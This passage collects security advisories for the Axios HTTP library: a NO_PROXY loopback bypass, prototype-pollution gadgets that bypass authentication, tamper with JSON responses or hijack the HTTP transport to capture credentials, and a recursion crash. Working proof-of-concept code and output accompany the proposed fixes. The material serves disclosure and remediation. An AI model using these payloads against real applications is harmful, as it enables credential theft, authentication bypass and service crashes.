SSRF Protection (as configured by developer): NOPROXY = localhost,127.0.0.1,::1 What developer believes is protected: All loopback/internal addresses What is actually protected: Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses) What remains exposed: 127.0.0.2 through 127.255.255.254 (16,777,213 addresses) An attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.
Impact 3 — Cloud Metadata Service Exposure In cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.
While the AWS IMDSv2 service is reachable at 169.254.169.254 (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the 127.0.0.0/8 range. An attacker reaching any of these services through the bypass could:
Retrieve temporary IAM credentials Access environment variables containing secrets Enumerate internal service configurations Pivot to other internal services via the compromised credentials
Impact 4 — Confidential Data Exfiltration Any internal service binding to a 127.x.x.x address other than 127.0.0.1 is fully exposed. This includes:
| Internal Service Type | Exposed Data | | ------------- | ------------- | | Admin panels / dashboards | User data, configuration, logs | | Internal APIs | Business logic, database contents | | Secret managers / vaults | API keys, tokens, certificates | | Health check endpoints | Infrastructure topology | | Development services | Source code, environment variables |
Impact 5 — No Indication of Compromise A particularly dangerous characteristic of this vulnerability is that it is completely silent neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring.
4.4 Comparison with Original Vulnerability
| Internal Service Type | Exposed Data | Exposed Data | | ------------- | ------------- | ------------- | | Attack method | Use localhost. or [::1]| Use any 127.x.x.x ≠ 127.0.0.1 | | Patch status | Fixed in 1.15.0 | Not fixed in 1.15.0 | | CVSS score | 9.3 Critical | 9.9 Critical or (equivalent) | | Attacker effort| Trivial | Trivial | | Detection by developer | None | None | | Impact | SSRF / proxy bypass | SSRF / proxy bypass (identical) |
The severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.
5. Technical Remediation & Proposed Fix
5.1 Vulnerable Code Block
The vulnerability resides in lib/helpers/shouldBypassProxy.js at lines 1–3. The following is the exact code extracted from Axios 1.15.0:
// lib/helpers/shouldBypassProxy.js — Axios 1.15.0 // Lines 1–3 (VULNERABLE) const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); const isLoopback = (host) => LOOPBACKADDRESSES.has(host); This hardcoded Set is subsequently used at line 108 during the final NOPROXY match evaluation:
// lib/helpers/shouldBypassProxy.js — Line 108 (VULNERABLE USAGE) return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // isLoopback("127.0.0.2") → LOOPBACKADDRESSES.has("127.0.0.2") → FALSE // This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1 Why this is dangerous: The Set performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns false, causing shouldBypassProxy() to return false and silently route the request through the configured proxy.
5.2 Proposed Patched Code Replace lines 1–3 in lib/helpers/shouldBypassProxy.js with the following RFC-compliant implementation:
// lib/helpers/shouldBypassProxy.js // Lines 1–3 (PROPOSED FIX — RFC 1122 §3.2.1.3 Compliant) const isLoopback = (host) => { // Named loopback hostname if (host === 'localhost') return true; // IPv6 loopback address if (host === '::1') return true; // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 §3.2.1.3) // Matches any address from 127.0.0.0 through 127.255.255.254 const parts = host.split('.'); return ( parts.length === 4 && parts[0] === '127' && parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255) ); }; 5.3 Diff View — Before vs After
// lib/helpers/shouldBypassProxy.js - const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); - - const isLoopback = (host) => LOOPBACKADDRESSES.has(host); + const isLoopback = (host) => { + if (host === 'localhost') return true; + if (host === '::1') return true; + const parts = host.split('.'); + return ( + parts.length === 4 && + parts[0] === '127' && + parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255) + ); + }; All other code in shouldBypassProxy.js remains unchanged. No other files require modification.
5.4 Why This Fix Must Be Applied
Reason 1 — RFC 1122 Compliance
The current implementation violates RFC 1122 §3.2.1.3, which defines the entire 127.0.0.0/8 block as the IPv4 loopback address range not just the single address 127.0.0.1. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.
RFC 1122 §3.2.1.3: "The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network." Current fix covers : 3 addresses (localhost, 127.0.0.1, ::1) Proposed fix covers : 16,777,216 addresses (entire 127.0.0.0/8 + loopback names)
Reason 2 — The Existing Patch Has Already Failed Once
The patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NOPROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting 127.0.0.1 with any other address in the 127.0.0.0/8 range. Leaving this gap unaddressed means that the patch creates a false sense of security developers believe their loopback traffic is protected when it is not.
Reason 3 — Real Operating System Behaviour On Linux the dominant platform for Node.js server deployments the kernel routes the entire 127.0.0.0/8 subnet to the loopback interface lo by default. This means any address in that range functions identically to 127.0.0.1 at the networking level.
Linux routing table — default configuration $ ip route show table local | grep "127" local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1 Proof: 127.0.0.2 is a valid loopback address on Linux $ ping -c 1 127.0.0.2 PING 127.0.0.2: 56 data bytes 64 bytes from 127.0.0.2: icmpseq=0 ttl=64 time=0.045 ms
<img width="711" height="181" alt="04linuxloopbacksubnetproof" src="https://github.com/user-attachments/assets/fd0f8430-37c5-4597-b2d9-8e27e479d7b2" />
Axios's current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.
<img width="588" height="198" alt="06ping127 0 0 2loopbackconfirmed" src="https://github.com/user-attachments/assets/23bf1ab8-1bd6-4f39-88a7-93c518d72990" />
Reason 4 — The Proposed Fix Has Zero Performance Impact The existing solution uses a Set.has() lookup an O(1) operation. The proposed fix replaces this with:
1. Two direct string comparisons ('localhost', '::1') — O(1) 2. A split('.') and array validation — O(1) with a fixed-length array of 4 elements The computational cost is equivalent or lower than the current approach, and the fix introduces no new external dependencies.
Reason 5 — The Fix Is Minimal and Surgical The proposed change modifies only 3 lines of a single file. It does not alter:
The parseNoProxyEntry() function The normalizeNoProxyHost() function The shouldBypassProxy() main function logic Any other file in the codebase This minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.
Reason 6 — Resilient to Alternative IP Encodings Because Axios normalises the request URL using Node's native new URL() parser before passing it to shouldBypassProxy(), alternative IP encodings (such as octal 0177.0.0.1, hex 0x7f.0.0.1, or integer 2130706433) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed .split('.') validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.
5.5 Additional Recommendation — IPv6 Loopback Range
While the primary bypass demonstrated in this report targets the IPv4 127.0.0.0/8 range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only ::1. A more complete check would also handle the full-form notation:
// Additional IPv6 loopback representations to consider: '0:0:0:0:0:0:0:1' // Full notation of ::1 '::ffff:127.0.0.1' // IPv4-mapped IPv6 loopback '::ffff:7f00:1' // Hex IPv4-mapped IPv6 loopback Normalising these representations before comparison would make the NOPROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.
Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.
The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success.
Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-287: Improper Authentication
CVSS 3.1
Score: 8.2 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely | | Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Impact within the application | | Confidentiality | Low | 401 treated as success may expose data behind auth gates | | Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions | | Availability | None | The function works correctly (returns true), no crash |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties.
Why validateStatus Is Uniquely Vulnerable
All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator:
javascript // mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus) function mergeDirectKeys(a, b, prop) { if (prop in config2) { // ← in traverses prototype chain! return getMergedValue(a, b); } else if (prop in config1) { return getMergedValue(undefined, a); } }
// mergeConfig.js:94 const mergeMap = { // ... all others use defaultToConfig2 ... validateStatus: mergeDirectKeys, // ← ONLY property using this strategy };
The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct.
Proof of Concept
1. The Setup (Simulated Pollution)
javascript Object.prototype.validateStatus = () => true;
2. The Gadget Trigger (Safe Code)
javascript // Application checks authentication via HTTP status codes try { const response = await axios.get('https://api.internal/admin/users'); // Developer expects: 401 → catch block → redirect to login // Reality: 401 → treated as success → displays admin data processAdminData(response.data); // Executes with 401 response body! } catch (error) { redirectToLogin(); // NEVER REACHED for 401/403/500 }
3. The Execution
javascript // mergeConfig.js:58 — 'validateStatus' in config2 // config2 = { url: '/admin/users', method: 'get' } // 'validateStatus' in config2 → checks prototype → finds () => true → TRUE // → getMergedValue(defaultValidator, () => true) → returns () => true
// settle.js:16 — ALL status codes resolve const validateStatus = response.config.validateStatus; // () => true if (!response.status || !validateStatus || validateStatus(response.status)) { resolve(response); // 401, 403, 500 all resolve here! }
4. The Impact
Before pollution: HTTP 200 → resolve (success) HTTP 401 → reject (auth error) → redirectToLogin() HTTP 403 → reject (forbidden) → showAccessDenied() HTTP 500 → reject (server error) → showErrorPage()
After pollution: HTTP 200 → resolve (success) HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body HTTP 403 → resolve (SUCCESS!) → application thinks user has access HTTP 500 → resolve (SUCCESS!) → application processes error as data
Verified PoC Output
--- Before Pollution --- 401: REJECTED as expected - Request failed with status code 401 500: REJECTED as expected - Request failed with status code 500
--- After Pollution --- 200: RESOLVED as success (status: 200) 301: RESOLVED as success (status: 301) 401: RESOLVED as success (status: 401) 403: RESOLVED as success (status: 403) 404: RESOLVED as success (status: 404) 500: RESOLVED as success (status: 500) 503: RESOLVED as success (status: 503)
--- Authentication Bypass Demo --- Auth check bypassed! 401 treated as success. Application proceeds with: { status: 401, message: 'Response with status 401' }
Impact Analysis
- Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources. - Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors. - Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed. - Universal Scope: Affects every axios instance in the application, including third-party libraries.
Recommended Fix
Replace the in operator with hasOwnProperty in mergeDirectKeys:
javascript // FIXED: lib/core/mergeConfig.js function mergeDirectKeys(a, b, prop) { if (Object.prototype.hasOwnProperty.call(config2, prop)) { return getMergedValue(a, b); } else if (Object.prototype.hasOwnProperty.call(config1, prop)) { return getMergedValue(undefined, a); } }
Resources
- CWE-1321: Prototype Pollution - CWE-287: Improper Authentication - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios - MDN: in operator - Axios GitHub Repository
Timeline
| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | PoC developed and vulnerability confirmed | | 2026-04-16 | Report revised for accuracy | | TBD | Report submitted to vendor via GitHub Security Advisory |
Summary toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.
Details lib/helpers/toFormData.js:210 defines an inner build(value, path) that recurses into every object/array child (line 225: build(el, path ? path.concat(key) : [key])). The only safeguard is a stack array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because build calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.
toFormData is the serializer behind FormData request bodies and AxiosURLSearchParams (used by buildURL when params is an object with URLSearchParams unavailable, see lib/helpers/buildURL.js:53 and lib/helpers/AxiosURLSearchParams.js:36). Any server-side code that forwards a client-supplied object into axios({ data, params }) therefore reaches the recursive walker with attacker-controlled depth.
The RangeError is thrown synchronously from inside forEach, escapes toFormData, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.
PoC js import toFormData from 'axios/lib/helpers/toFormData.js'; import FormData from 'form-data';
function nest(depth) { let o = { leaf: 1 }; for (let i = 0; i < depth; i++) o = { a: o }; return o; }
try { toFormData(nest(2500), new FormData()); } catch (e) { console.log(e.name + ': ' + e.message); } // RangeError: Maximum call stack size exceeded
Server-side reachability example: js // vulnerable proxy pattern app.post('/forward', async (req, res) => { await axios.post('https://upstream/api', req.body); // req.body user-controlled res.send('ok'); }); // attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}} // -> toFormData build() overflows -> request handler crashes
Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.
Impact A remote, unauthenticated attacker who can influence an object passed to axios as request data or params triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in toFormData's build function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.
Summary
When Object.prototype has been polluted by any co-dependency with keys that axios reads without a hasOwnProperty guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash < 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently.
---
Background: how mergeConfig builds the config object
Every axios request goes through Axios.request in lib/core/Axios.js#L76:
js config = mergeConfig(this.defaults, config);
Inside mergeConfig, the merged config is built as a plain {} object (lib/core/mergeConfig.js#L20):
js const config = {};
A plain {} inherits from Object.prototype. mergeConfig only iterates Object.keys({ ...config1, ...config2 }) (line 99), which is a spread of own properties. Any key that is absent from both this.defaults and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to Object.prototype. That is the root mechanism behind all gadgets below.
---
Gadget 1: parseReviver -- response tampering and exfiltration
Introduced in: v1.12.0 (commit 2a97634, PR #5926) Affected range: >= 1.12.0, <= 1.13.6
Root cause
The default transformResponse function calls JSON.parse(data, this.parseReviver):
js return JSON.parse(data, this.parseReviver);
this is the merged config. parseReviver is not present in defaults and is not in the mergeMap inside mergeConfig. It is never set as an own property on the merged config. Accessing this.parseReviver therefore walks the prototype chain.
The call fires by default on every string response body because lib/defaults/transitional.js#L5 sets:
js forcedJSONParsing: true,
which activates the JSON parse path unconditionally when responseType is unset.
JSON.parse(text, reviver) calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver's return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values.
There is no interaction with assertOptions here. The assertOptions call in Axios.request (line 119) iterates Object.keys(config), and since parseReviver was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before transformResponse does.
Verification: own-property check
js import { createRequire } from 'module'; const require = createRequire(import.meta.url); const mergeConfig = require('./lib/core/mergeConfig.js').default; const defaults = require('./lib/defaults/index.js').default;
const merged = mergeConfig(defaults, { url: '/test', method: 'get' }); console.log(Object.prototype.hasOwnProperty.call(merged, 'parseReviver')); // false console.log(merged.parseReviver); // undefined (no pollution)
Object.prototype.parseReviver = function(k, v) { return v; }; console.log(merged.parseReviver); // [Function (anonymous)] -- inherited delete Object.prototype.parseReviver;
Proof of concept
Two terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency.
Terminal 1 -- server (servergadget1.mjs):
js import http from 'http';
const server = http.createServer((req, res) => { console.log('[server] request:', req.method, req.url); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ role: 'user', balance: 100, token: 'tokrealabc' })); });
server.listen(19003, '127.0.0.1', () => { console.log('[server] listening on 127.0.0.1:19003'); });
$ node servergadget1.mjs [server] listening on 127.0.0.1:19003 [server] request: GET /
Terminal 2 -- client (pocparsereviver.mjs):
js import axios from 'axios';
// Simulate pollution arriving from a co-dependency (e.g. lodash < 4.17.21 via .merge). // In a real application this would be set before any axios request runs. Object.prototype.parseReviver = function (key, value) { // Called for every key-value pair in every JSON response parsed by axios in this process. if (key !== '') { // Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint. console.log('[exfil]', key, '=', JSON.stringify(value)); } // Tamper: escalate role, inflate balance. if (key === 'role') return 'admin'; if (key === 'balance') return 999999; return value; };
const res = await axios.get('http://127.0.0.1:19003/'); console.log('[app] received:', JSON.stringify(res.data));
delete Object.prototype.parseReviver;
$ node pocparsereviver.mjs [exfil] role = "user" [exfil] balance = 100 [exfil] token = "tokrealabc" [app] received: {"role":"admin","balance":999999,"token":"tokrealabc"}
The server sent role: user. The application received role: admin. The response is silently modified in place; no error is thrown, no log entry is produced.
---
Gadget 2: transport -- full HTTP request hijacking with credentials
Introduced in: early adapter refactor, present across 0.x and 1.x Affected range: >= 0.19.0, <= 1.13.6 (Node.js http adapter only)
Root cause
Inside the Node.js http adapter at lib/adapters/http.js#L676:
js if (config.transport) { transport = config.transport; }
transport is listed in mergeMap inside mergeConfig (line 88):
js transport: defaultToConfig2,
but it is not present in lib/defaults/index.js at all. mergeConfig iterates Object.keys({ ...config1, ...config2 }) (line 99). Since config1 (the defaults) has no transport key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to Object.prototype.
The fix in v1.13.5 (PR #7369) added a hasOwnProp check for mergeMap access, but the iteration set itself is the issue -- transport simply never enters it. The fix does not address this.
The transport interface is { request(options, handleResponseCallback) }. The options object passed to transport.request at adapter runtime contains:
- options.hostname, options.port, options.path -- full target URL - options.auth -- basic auth credentials in "username:password" form (set at line 606) - options.headers -- all request headers as a plain object
Proof of concept
Two terminals. The server is a legitimate API endpoint that processes the request normally. The client's process has been affected by prototype pollution.
Terminal 1 -- server (servergadget2.mjs):
js import http from 'http';
const server = http.createServer((req, res) => { console.log('[server] request:', req.method, req.url, 'auth:', req.headers.authorization || '(none)'); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"ok":true}'); });
server.listen(19002, '127.0.0.1', () => { console.log('[server] listening on 127.0.0.1:19002'); });
$ node servergadget2.mjs [server] listening on 127.0.0.1:19002 [server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg==
Terminal 2 -- client (poctransport.mjs):
js import axios from 'axios'; import http from 'http';
Object.prototype.transport = { request(options, handleResponse) { // Intercept: called for every outbound request in this process. console.log('[hijack] target:', options.hostname + ':' + options.port + options.path); console.log('[hijack] auth:', options.auth); console.log('[hijack] headers:', JSON.stringify(options.headers)); // Forward to the real transport so the caller sees a normal 200. return http.request(options, handleResponse); }, };
const res = await axios.get('http://127.0.0.1:19002/api/users', { auth: { username: 'svcaccount', password: 'hunter2' }, }); console.log('[app] response status:', res.status);
delete Object.prototype.transport;
$ node poctransport.mjs [hijack] target: 127.0.0.1:19002/api/users [hijack] auth: svcaccount:hunter2 [hijack] headers: {"Accept":"application/json, text/plain, /","User-Agent":"axios/1.13.6","Accept-Encoding":"gzip, compress, deflate, br"} [app] response status: 200
The basic auth credentials are fully visible to the attacker's transport function. The request completes normally from the caller's perspective.
---
Additional gadget: transformRequest / transformResponse
Separately, mergeConfig reads config2[prop] at line 102 without a hasOwnProperty guard. For keys like transformRequest and transformResponse that are present in defaults (and therefore processed by the mergeMap loop), if Object.prototype.transformRequest is polluted before the request, config2["transformRequest"] inherits the polluted value and defaultToConfig2 replaces the safe default transforms with the attacker's function.
This one requires a discriminator because assertOptions in Axios.request (line 119) reads schema[opt] for every key in the merged config's own keys, and schema["transformRequest"] also inherits from Object.prototype, causing it to call the polluted value as a validator. The gadget function needs to return true when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the transformData call).
Both transformRequest (fires with request body) and transformResponse (fires with response body) are confirmed affected. Range: >= 0.19.0, <= 1.13.6.
---
Why the existing fix does not cover these
PR #7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing {"proto": {"x": 1}} as the config object, which caused mergeMap['proto'] to resolve to Object.prototype (a non-function), crashing axios. The fix added an explicit block on proto, constructor, and prototype as config keys, and changed mergeMap[prop] to utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ....
That fix only addresses config keys that are explicitly set to proto (or similar) by the caller. It does not add hasOwnProperty guards on the value reads (config2[prop] at line 102, this.parseReviver, config.transport). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6.
---
Suggested fixes
For parseReviver (lib/defaults/index.js#L124): js const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined; return JSON.parse(data, reviver);
For mergeConfig value reads (lib/core/mergeConfig.js#L102): js const configValue = merge( config1[prop], utils.hasOwnProp(config2, prop) ? config2[prop] : undefined, prop );
For transport and other adapter reads from config (lib/adapters/http.js#L676): js if (utils.hasOwnProp(config, 'transport') && config.transport) { transport = config.transport; }
The same hasOwnProp pattern applies to lookup, httpVersion, http2Options, family, and formSerializer reads in the adapter.
---
Environment
- axios: 1.13.6 - Node.js: 22.22.0 - OS: macOS 14 - Reproduction: confirmed in isolated test harness, both gadgets independently verified
Disclosure
Reported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy.
Apache Thrift: C++ JSON OOB read
Apache Thrift: cglib dispatch stack overflow